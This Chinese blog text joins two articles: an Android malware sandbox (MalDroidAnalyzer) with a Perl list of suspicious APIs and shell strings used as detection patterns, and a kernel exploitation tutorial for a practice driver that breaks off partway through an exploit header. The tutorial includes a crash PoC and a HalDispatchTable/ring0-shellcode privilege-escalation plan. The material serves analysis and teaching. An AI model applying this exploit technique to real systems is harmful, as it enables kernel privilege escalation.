据网秦发布的《2012年上半年全球手机安全报告》,2012年上半年Android病毒感染量增长迅猛,尤以5、6月最为突出,上半年感染手机1283万部,比2011年下半年增长62%。在全球范围内,中国大陆地区被感染率占居首位。面对增长如此迅速的Android软件,安全研究人员常常需要逆向分析样本,分析出其恶意行为,但手工分析较费时间。在DEX文件反混淆技术的不遍推广和普及下,比如今年的BlackHat就有DEX反混淆的专题及相应工具公布,现在已有很多恶意软件使用到这些反混淆技术,这就加大了样本分析的难度及所花费的时间。本文主要讲述如何利用Android沙盘实现自动化分析恶意软件的方法,其中介绍了Android沙盘的原理,以及由笔者编写的Android沙盘——MalDroidAnalyzer,后面会提供由MalDroidAnalyzer分析真实病毒时自动生成的分析报告。

二、 Android常见恶意软件行为

1、 恶意扣费

病毒在后台发送扣费短信、拔打电话进行恶意扣费,同时会对服务商发回的服务短信进行屏蔽,破坏系统的正常功能,同时对用户造成资费损失。

2、隐私窃取

病毒通过后台服务窃取用户隐私信息,包括通话录音、短信内容、IMEI、IMSI、地理位置、通讯录、浏览器历史记录等信息,然后上传到黑客控制的远程服务器。

3、远程控制

病毒在后台开机自动,并与C&C服务器进行通讯,并从中获取加密的指令,解密后执行相应的恶意操作,也有通过SMS进行控制,构造出botnet,从而大规模地远程控制用户的手机。比如之前著名的AnserverBot病毒,就是通过新浪博客进行远程控制,也是首个利用第三方站点作为C&C服务器的Android病毒。

4、系统破坏

病毒通过系统漏洞进行ROOT提权,并执行高权限操作,在后台静默安装子程序包,或者通过伪造成杀毒软件、提示更新等方式欺骗用户安装第三方恶意程序。病毒可能会更改网络状态、APN,或者替换系统文件、添加恶意书签、屏蔽运营商短信、中止杀软进程等方式进行系统破坏。

5、其它

病毒在后台联网下载大量软件,消耗用户手机流量,或者执行一些比较耗电的操作来消耗手机电量,进而影响正常的手机通信。也有些一些病毒通过钓鱼欺骗等方式,诱骗用户下载伪装软件,导致帐户密码失窃。

三、 Android沙盘原理

本文主要介绍一款Android恶意软件行为自动分析平台——MalDroidAnalyzer,其主要结合静态分析和动态分析技术来实现恶意软件行为自动化分析。MalDroidAnalyzer是笔者使用Perl语言编写的,用于辅助分析Android软件行为,提高恶意软件的分析效率。

首先,MalDroidAnalyzer直接以apk文件作为输入,整个分析过程主要分析两部分:静态分析和动态分析。静态分析会通过反编译apk文件,分析其中的权限、组件、敏感函数等信息,这些可以弥补动态分析中因未触发恶意行为而漏掉的行为。动态分析主要通过在模拟器运行Android软件,然后再对软件进行一些操作以触发尽可能多的恶意行为,接着输出到log中,再通过脚本对日志进行分析。由于Android系统默认情况下,一些输出日志里面缺乏我们所需的信息,比如发送短信时,只在log中记录手机号,而没有短信内容,此时就需要通过修改Android源码或者反汇编system.img中的相关类或者库进行修改,可以在短信发送函数sendTextMessage(位于system.img中的framework/framework.jar)里面添加短信内容的日志输出:

下面是可能需要修改的相关文件,包括源码位置和编译后所对应的相关文件,可根据自身需要进行修改:

1
2
3
4
5
6
7
发送短信:android.telephony.SmsManager(system.img中的framework/framework.jar)
文件操作:org.apache.harmony.luni.platform.OSFileSystem(system.img中的framework/core.jar)
网络操作:org.apache.harmony.luni.platform.OSNetworkSystem(system.img中的framework/core.jar)
拔打电话:android.app.Activity(system.img中的framework/framework.jar)
启动服务:android.content.ContextWrapper(system.img中的framework/framework.jar)
数据加解密:javax.crypto.Cipher(system.img中的framework/core.jar)
核心库:dalvik/vm/native(system.img中的lib/libdvm.so)

关于apk文件及MalDroidAnalyzer的工作流程如下图所示:

1、静态分析

沙盘MalDroidAnalyzer主要在电脑端对APK进行静态分析,通过apktool先进行反编译处理。正常的APK文件主要是以zip格式进行压缩捆绑的文档,里面主要包含AndroidManifest.xml、Classes.dex和res等文件。在反编译后会得到明文的AndroidManifest.xml,里面定义各组件、组件权限和启动位置、软件基本信息等,通过对该xml文件的分析,可以获取到软件名称、包名等基本信息,同时对包含的各个组件进行分析,特别是Broadcast Receiver组件的触发条件,可能就包含有开机自启动项用于启动后台服务,这些在报告中都会被高亮显示出来。

在动态分析过程中,可能由于恶意行为的时间限制,或者模拟器的功能限制(比如蓝牙、Wifi),导致病毒的一些恶意行为无法触发。此时,我们通过检测Android软件调用的API函数可弥补这里的不足,比如发送扣费短信通常会调用sendTextMessage()函数,执行外部命令可能会调用java.lang.Runtime.exec()。下面是笔者收集整理的一些敏感API函数列表,欢迎各位读者补充和改进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
my %apis = (
"IActivityManager\$Stub\$Proxy\;\-\>shutdown" => '关机',
"ActivityManager\;\-\>killBackgroundProcesses" => '中断进程,可用于关闭杀软',
'ActivityManagerNative;->killBackgroundProcesses' => '中断进程,可用于关闭杀软',
'ActivityManagerNative;->restartPackage' => ' 中断进程,可用于关闭杀软',
'ActivityManager;->restartPackage' => ' 中断进程,可用于关闭杀软',
#"BluetoothAdapter\;\-\>enable" => '开启蓝牙',
#"BluetoothSocket\;\-\>connect" => '连接蓝牙',
#"IBluetoothPbap\$Stub\$Proxy\;\-\>connect" => '连接蓝牙',
"ContentResolver\;\-\>query" => '读取联系人、短信等数据库',
"ContentService\;\-\>dump" => '转储联系人、短信等信息',
"PackageManager\;\-\>installPackage" => '安装apk包',
"Camera\;\-\>open" => '开启相机',
"MediaRecorder\;\-\>setAudioSource" => '开启录音功能',
"MediaRecorder\;\-\>setVideoSource" => '开启视频录制',
"LocationManager\;\-\>getLastKnownLocation" => '获取地址位置',
"Downloads\$ByUri\;\-\>startDownloadByUri" => '下载文件',
"Downloads\$DownloadBase\;\-\>startDownloadByUri" => '下载文件',
"PowerManager\;\-\>reboot" => '重启手机',
"Settings\$Bookmarks\;\-\>add" => '添加浏览器书签',
"TelephonyManager\;\-\>getDeviceId" => '搜集用户手机IMEI码、电话号码、系统版本号等信息',
"TelephonyManager\;\-\>getSimSerialNumber()" => '获取SIM序列号',
"Telephony\$Mms\;\-\>query" => '读取短信',
"TelephonyManager\;\-\>getLine1Number" => '获取手机号',
"SpeechRecognizer\;\-\>startListening" => '开启麦克风',
"WifiManager\;\-\>setWifiEnabled" => '开启WIFI',
"SmsManager\;\-\>getAllMessagesFromSim" => '获取sim卡上的短信',
"SmsManager\;\-\>sendDataMessage" => '发送二进制消息',
"SmsManager\;\-\>sendMultipartTextMessage" => '发送彩信',
"SmsManager\;\-\>sendTextMessage" => '发送普通短信',
#"http/multipart/FilePart;->sendData" => '发送http请求',
#"http/multipart/Part\;\-\>send" => '发送http请求',
#"http/multipart/Part\;\-\>sendParts" => '发送http请求',
#"http/multipart/StringPart\;\-\>sendData" => '发送http请求',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendData" => '发送短信',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendMultipartText" => '发送短信',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendText" => '发送短信',
"internal/telephony/ITelephony\$Stub\$Proxy\;\-\>call" => '拔打电话',
"java/lang/Runtime\;\-\>exec" => '执行字符串命令',
"java/net/HttpURLConnection\;\-\>connect" => '连接URL',
#"java/net/URL\;\-\>getContent" => '获取网页内容',
"java/net/URL\;\-\>openConnection" => '连接URL',
"java/net/URLConnection\;\-\>connect" => '连接URL',
"DefaultHttpClient\;\-\>execute" => '发送HTTP请求',
"HttpClient\;\-\>execute" => '请求远程服务器', 'android/app/NotificationManager;->notify' => '信息通知栏',
"SmsReceiver\;\-\>abortBroadcast" => '拦截短信接收',
"ContentResolver\;\-\>delete" => '删除短信、联系人',
"chmod " => '更改文件权限',
"getRuntime" => '获取命令行环境',
#'content://telephony/carriers' => '获取所有的APN(网络接入点)配置信息',
'content://telephony/carriers/preferapn' => '可能用于篡改APN(网络接入点)以调用应用市场M-Market扣费接口并验证',
'content://sms' => '获取短信数据库',
'content://browser/bookmarks' => '获取浏览器书签',
'mount -o remount' => '重新挂载档案系统',
'/system/bin/sh' => '执行shell',
'/proc/mounts' => '加载文件系统',
'/system/bin/cp' => '复制文件',
'/root/su' => '切换用户',
'/system/bin/rm ' => '删除文件',
);

2、动态分析

动态分析是Android沙盘的主要功能,主要使用Google Android模拟器作为沙盘环境,同时以前面修改过的system.img来启动模拟器,以在操作过程中生成我们所需的日志信息:

1
system('start emulator -avd MalDroidAnalyzer -scale 0.8  -system images/root-system.img -ramdisk images/ramdisk.img -kernel images/zImage  -prop dalvik.vm.execution-mode=int:portable &');

这里的root-system.img是经过root的,默认情况下,Android模拟器是没有root权限的,需要自己手工修改,这个可通过YAFFS2 img浏览器来修改system.img,将su和superuser放置到系统应用目录下,并将build.prop中的ro.config.nocheckin=yes注释掉,将修改后的system.img替换原文件即可。。这样在一些需要root权限的病毒才能正常地模拟器运行,以触发更多的恶意行为。

启动模拟器后,利用adb安装APK到模拟器上。业界多数沙盘是通过monkey去自动操作软件以触发恶意行为,但这种做法过于盲目,不容易触发恶意行为,同时当操作过于频繁时容易导致程序崩溃,因此在MalDroidAnalyzer中选择由用户自主手工操作,操作时间由用户自己把握。手工操作可能更有利于触发恶意行为,因为病毒作者通常会更多地依赖用户的操作习惯来触发恶意行为,比如点击、拔打电话等行为。
为了避免生成过多的无用日志,因此在使用logcat命令时可提前过滤下,并输出到log.txt文件:

1
system("adb logcat -v time ActivityManager:I camera:V AudioHardware:D Telephony:V CallNotifier:D su:D MediaProvider:V videocamera:V BluetoothEnabler:V BluetoothHIDService:I dalvikvm:W *:S  > log.txt");

最后对生成的日志log.txt进行分析,由于修改过system.img,它会按照json格式输出我们所需的信息,而有些原本Android系统输出的日志可直接拿来作行为检测,就未作修改。日志格式如下:

1
2
3
4
5
6
7
09-16 10:18:04.583 W/dalvikvm(  299): MalDroid: { "DexClassLoader": { "path": "/data/data/com.test/files/anserverb.db" } }
09-16 10:17:27.963 W/dalvikvm( 281): MalDroid: { "SendNet": { "desthost": "www.google.com", "destport": "80", "data": "7b2263656c6c5f746f77657273223a5b7b226d6f62696c655f6e6574776f726b5f636f6465223a32362c226c6f636174696f6e5f617265615f636f6465223a2d312c226d6f62696c655f636f756e7472795f636f6465223a3331302c2263656c6c5f6964223a2d317d5d2c22726571756573745f61646472657373223a747275652c22686f7374223a226d6170732e676f6f676c652e636f6d222c2276657273696f6e223a22312e312e30227d" } }
09-09 08:37:10.371 W/dalvikvm( 191): MalDroid: { "CryptoUsage": { "operation": "keyalgo", "key": "53, 52, 67, 68, 65, 48, 54, 51, 67, 68, 53, 56, 68, 56, 53, 70", "algorithm": "AES" } }
09-09 08:37:12.560 W/dalvikvm( 191): MalDroid: { "CryptoUsage": { "operation": "encryption", "algorithm": "AES/CBC/PKCS5Padding", "data": "ylmftg6" } }
09-17 20:17:14.302 W/dalvikvm( 274): MalDroid: { "ServiceStart": { "name": "com.android.md5.Settings" } }
09-17 20:24:24.944 W/dalvikvm( 126): MalDroid: { "FdAccess": { "path": "2f646174612f646174612f636f6d2e616e64726f69642e6c61756e636865722f66696c65732f6c61756e636865722e707265666572656e636573", "id": "588716465" } }
09-17 20:24:24.965 W/dalvikvm( 126): MalDroid: { "FileRW": { "operation": "read", "data": "0005", "id": "588716465" } }

生成日志后,MalDroidAnalyzer会去分析日志,生成统计图数据,然后生成报告。下面是一些真实病毒样本的恶意行为记录:

1、窃取通讯录:

2、通话录音:

3、发送收费短信:

4、动态加载类文件:

5、Root提权:

四、 真实案例

在Google Android官方市场上,曾出现过多起应用程序嵌入恶意代码的事件,比如“功夫病毒”,可进行root提权,并破坏文件系统,同时窃取用户隐私信息,感染了上百万用户,危害甚广。病毒作者通过对知名软件进行修改,嵌入恶意代码然后重打包,然后诱骗用户下载这些伪造软件。除“功夫病毒”外,还有DroidDream、AnserverBot、PhoneSpy等恶意软件。下面是MalDroidAnalyzer针对PhoneSpy病毒Gmail.apk给出的分析报告,该病毒会窃取用户隐私信息、通话录音等恶意行为。由于该病毒无GUI界面,而是以后台服务在运行,因此报告中的截图是主页界面:




五、 总结

当前手机用户量增长越来越快,尤其是中国,手机用户量已超10亿,即大约75%的中国人拥有自己的手机。正因为手机越来越智能化,携带也方便,因此许多人将隐私信息存储在手机上,且在多处场景下无形地公开化,而这些信息正是许多病毒作者所热衷的。在移动终端上的安全也将比电脑终端越来越重要,移动安全也已成为安全领域的另一新战场。

六、 鸣谢

感谢Dflower同学(0day2作者之一)在笔者编写MalDroidAnalyzer过程中给予的帮助。

七、 参考资料

1、 DroidBox:http://code.google.com/p/droidbox
2、 SandDroid:http://sanddroid.xjtu.edu.cn
3、 apktool:http://code.google.com/p/android-apktool
4、 网秦《2012年上半年全球手机安全报告》:http://cn.nq.com/neirong/2012shang.pdf
5、 Android权限中文描述大全:http://wenku.baidu.com/view/b1f6f9ff0242a8956bece4e7.html
6、 Android Permission Map:http://www.android-permissions.org/permissionmap.html

ExploitMe内核漏洞分析与利用

0x01 漏洞分析:

用工具加载驱动后,开启windbg进行内核调试,先找到驱动的IoControlCode数值,由于笔者在编译时是采用test.sys作为文件名,因此使用!drvobj test 这样的命令,但源码依然是经漏洞分析技术第二版样章上的代码而修改编译的,执行命令后结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> !drvobj test 2
Driver object (825cef38) is for:
\Driver\test
DriverEntry: f9032885 test
DriverStartIo: 00000000
DriverUnload: f90324a0 test
AddDevice: 00000000

Dispatch routines:
[00] IRP_MJ_CREATE f90324c0 test+0x4c0
[01] IRP_MJ_CREATE_NAMED_PIPE f90324c0 test+0x4c0
[02] IRP_MJ_CLOSE f90324c0 test+0x4c0
[03] IRP_MJ_READ f90324c0 test+0x4c0
[04] IRP_MJ_WRITE f90324c0 test+0x4c0
[05] IRP_MJ_QUERY_INFORMATION f90324c0 test+0x4c0
[06] IRP_MJ_SET_INFORMATION f90324c0 test+0x4c0
[07] IRP_MJ_QUERY_EA f90324c0 test+0x4c0
[08] IRP_MJ_SET_EA f90324c0 test+0x4c0
[09] IRP_MJ_FLUSH_BUFFERS f90324c0 test+0x4c0
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION f90324c0 test+0x4c0
[0b] IRP_MJ_SET_VOLUME_INFORMATION f90324c0 test+0x4c0
[0c] IRP_MJ_DIRECTORY_CONTROL f90324c0 test+0x4c0
[0d] IRP_MJ_FILE_SYSTEM_CONTROL f90324c0 test+0x4c0
[0e] IRP_MJ_DEVICE_CONTROL f90324c0 test+0x4c0
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL f90324c0 test+0x4c0
[10] IRP_MJ_SHUTDOWN f90324c0 test+0x4c0
[11] IRP_MJ_LOCK_CONTROL f90324c0 test+0x4c0
[12] IRP_MJ_CLEANUP f90324c0 test+0x4c0
[13] IRP_MJ_CREATE_MAILSLOT f90324c0 test+0x4c0
[14] IRP_MJ_QUERY_SECURITY f90324c0 test+0x4c0
[15] IRP_MJ_SET_SECURITY f90324c0 test+0x4c0
[16] IRP_MJ_POWER f90324c0 test+0x4c0
[17] IRP_MJ_SYSTEM_CONTROL f90324c0 test+0x4c0
[18] IRP_MJ_DEVICE_CHANGE f90324c0 test+0x4c0
[19] IRP_MJ_QUERY_QUOTA f90324c0 test+0x4c0
[1a] IRP_MJ_SET_QUOTA f90324c0 test+0x4c0
[1b] IRP_MJ_PNP 804fb8a6 nt!IopInvalidDeviceRequest

上面的 test+0x4c0 就是IRP分发例程,通过对其反汇编,可以找到其中的IO控制码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
kd> uf test+0x4c0
test+0x4c0:
f90324c0 8bff mov edi,edi
f90324c2 55 push ebp
f90324c3 8bec mov ebp,esp
f90324c5 83ec24 sub esp,24h
f90324c8 c745e400000000 mov dword ptr [ebp-1Ch],0
f90324cf 8b450c mov eax,dword ptr [ebp+0Ch]
f90324d2 8b4860 mov ecx,dword ptr [eax+60h]
f90324d5 894df4 mov dword ptr [ebp-0Ch],ecx
f90324d8 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324db 8b4210 mov eax,dword ptr [edx+10h]
f90324de 8945f8 mov dword ptr [ebp-8],eax
f90324e1 8b4d0c mov ecx,dword ptr [ebp+0Ch]
f90324e4 8b513c mov edx,dword ptr [ecx+3Ch]
f90324e7 8955ec mov dword ptr [ebp-14h],edx
f90324ea 8b45f4 mov eax,dword ptr [ebp-0Ch]
f90324ed 8b4808 mov ecx,dword ptr [eax+8]
f90324f0 894dfc mov dword ptr [ebp-4],ecx
f90324f3 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324f6 8b4204 mov eax,dword ptr [edx+4]
f90324f9 8945e8 mov dword ptr [ebp-18h],eax
f90324fc 8b4df4 mov ecx,dword ptr [ebp-0Ch]
f90324ff 8b510c mov edx,dword ptr [ecx+0Ch]
f9032502 8955f0 mov dword ptr [ebp-10h],edx
f9032505 8b450c mov eax,dword ptr [ebp+0Ch]
f9032508 83c018 add eax,18h
f903250b 8945e0 mov dword ptr [ebp-20h],eax
f903250e 8b4de0 mov ecx,dword ptr [ebp-20h]
f9032511 c70100000000 mov dword ptr [ecx],0
f9032517 8b55e0 mov edx,dword ptr [ebp-20h]
f903251a c7420400000000 mov dword ptr [edx+4],0
f9032521 8b45f0 mov eax,dword ptr [ebp-10h]
f9032524 8945dc mov dword ptr [ebp-24h],eax
f9032527 817ddc03a08888 cmp dword ptr [ebp-24h],8888A003h // IO控制码
f903252e 7402 je test+0x532 (f9032532) // IO控制码0x8888A003对应的处理过程

kd> u f9032532
test+0x532:
f9032532 837dfc04 cmp dword ptr [ebp-4],4 // 输入缓冲区长度
f9032536 721a jb test+0x552 (f9032552)
f9032538 837de804 cmp dword ptr [ebp-18h],4 // 输出缓冲区长度
f903253c 7214 jb test+0x552 (f9032552)
f903253e 8b4dec mov ecx,dword ptr [ebp-14h] // 输出缓冲区
f9032541 8b55f8 mov edx,dword ptr [ebp-8]
f9032544 8b02 mov eax,dword ptr [edx] // 输入缓冲区
f9032546 8901 mov dword ptr [ecx],eax // 写入地址未经验证进而引发本地提权漏洞

下面编写测试代码,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void ShowErrMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("系统错误:%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int main(void)
{
HANDLE hDevice;
DWORD length = 0;
BOOL ret;
char g_InputBuffer[4] ="\x00\x00\x00\x00"; //输入缓冲区指针

// 打开设备驱动
hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);

if (hDevice == INVALID_HANDLE_VALUE)
{
ShowErrMsg();
return EXIT_FAILURE;
}

ret = DeviceIoControl(hDevice, // 驱动句柄
0x8888A003, // IoControlCode数值
g_InputBuffer, // 输入缓冲区指针
4, // 输入缓冲区字节数
0x80808080, // 输出缓冲区指针
4, // 输出缓冲区字节数
&length, // 返回实际的数据字节数
NULL);

if(!ret)
ShowErrMsg();
else
printf("DeviceIoControl Success!\n");
return EXIT_SUCCESS;
}

运行后系统崩溃,被windbg断下,下面是 !analyze -v 的分析结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 80808080, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9032546, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************

WRITE_ADDRESS: 80808080

FAULTING_IP:
test+546
f9032546 8901 mov dword ptr [ecx],eax

MM_INTERNAL_CODE: 0

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAULTING_MODULE: f9032000 test

DEFAULT_BUCKET_ID: CODE_CORRUPTION

BUGCHECK_STR: 0x50

PROCESS_NAME: test.exe

TRAP_FRAME: f61b6b9c -- (.trap 0xfffffffff61b6b9c)
ErrCode = 00000002
eax=00000000 ebx=82567498 ecx=80808080 edx=0012ff70 esi=825cef38 edi=8256f150
eip=f9032546 esp=f61b6c10 ebp=f61b6c34 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
test+0x546:
f9032546 8901 mov dword ptr [ecx],eax ds:0023:80808080=???????? // 这里证明了我们先前的分析是正确的
Resetting default scope

LAST_CONTROL_TRANSFER: from 8053377f to 804e45a2

STACK_TEXT:
f61b66ec 8053377f 00000003 80808080 00000000 nt!RtlpBreakWithStatusInstruction
f61b6738 80534256 00000003 806f103c c0202020 nt!KiBugCheckDebugBreak+0x19
f61b6b18 80534846 00000050 80808080 00000001 nt!KeBugCheck2+0x574
f61b6b38 805251e0 00000050 80808080 00000001 nt!KeBugCheckEx+0x1b
f61b6b84 804e272b 00000001 80808080 00000000 nt!MmAccessFault+0x6f5
f61b6b84 f9032546 00000001 80808080 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
f61b6c34 804e4807 825a29d0 82567498 806f1070 test+0x546 // 这里就是漏洞函数
f61b6c44 80569191 82567508 8256f150 82567498 nt!IopfCallDriver+0x31
f61b6c58 805780ca 825a29d0 82567498 8256f150 nt!IopSynchronousServiceTail+0x70
f61b6d00 8057a5e3 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f61b6d34 804df7ec 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f61b6d34 7c92e526 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8
0012fe94 7c92d28a 7c801675 000007e8 00000000 ntdll!KiIntSystemCall+0x6
0012fe98 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012fef8 0040116c 000007e8 8888a003 0012ff70 kernel32!DeviceIoControl+0xdd
0012ff80 00401399 00000001 00380f60 00380ff8 test_400000+0x116c
0012ffc0 7c817077 00241fe4 0012f7bc 7ffdc000 test_400000+0x1399
0012fff0 00000000 004012b0 00000000 78746341 kernel32!BaseProcessStart+0x23


STACK_COMMAND: kb

CHKIMG_EXTENSION: !chkimg -lo 50 -d !nt
804d9f94-804d9f98 5 bytes - nt!KiXMMIZeroPage+30
[ fa f7 80 0c 02:e9 cf 7c 7b 77 ]
……省略部分内容……
WARNING: !chkimg output was truncated to 50 lines. Invoke !chkimg without '-lo [num_lines]' to view entire output.
231 errors : !nt (804d9f94-805363e8)

MODULE_NAME: memory_corruption

IMAGE_NAME: memory_corruption

FOLLOWUP_NAME: memory_corruption

MEMORY_CORRUPTOR: LARGE

FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE

BUCKET_ID: MEMORY_CORRUPTION_LARGE

Followup: memory_corruption
---------

0x02 漏洞利用

利用思路:1、获取HalDispatchTable表地址,再偏移0x4找到HalQuerySystemInformation函数地址;
2、利用内核漏洞将HalQuerySystemInformation函数地址修改为0x0;
3、在0x0地址处申请块内存,然后将ring0 shellcode拷贝过去;
4、通过调用NtQueryIntervalProfile函数来执行0x0处的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
***************************** exploit.h ***************************

#ifndef _EXPLOIT_H
#define _EXPLOIT_H

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define PAGE_SIZE 0xA00

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

#define NtCurrentProcess() ((HANDLE)0xFFFFFFFF)

#define KERNEL_NAME_LENGTH 0x0D

#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef ULONG NTSTATUS;

typedef struct _ANSI_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PCHAR Buffer;
/* 0x08 */
}
ANSI_STRING,
*PANSI_STRING,
**PPANSI_STRING;

typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
};

/* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
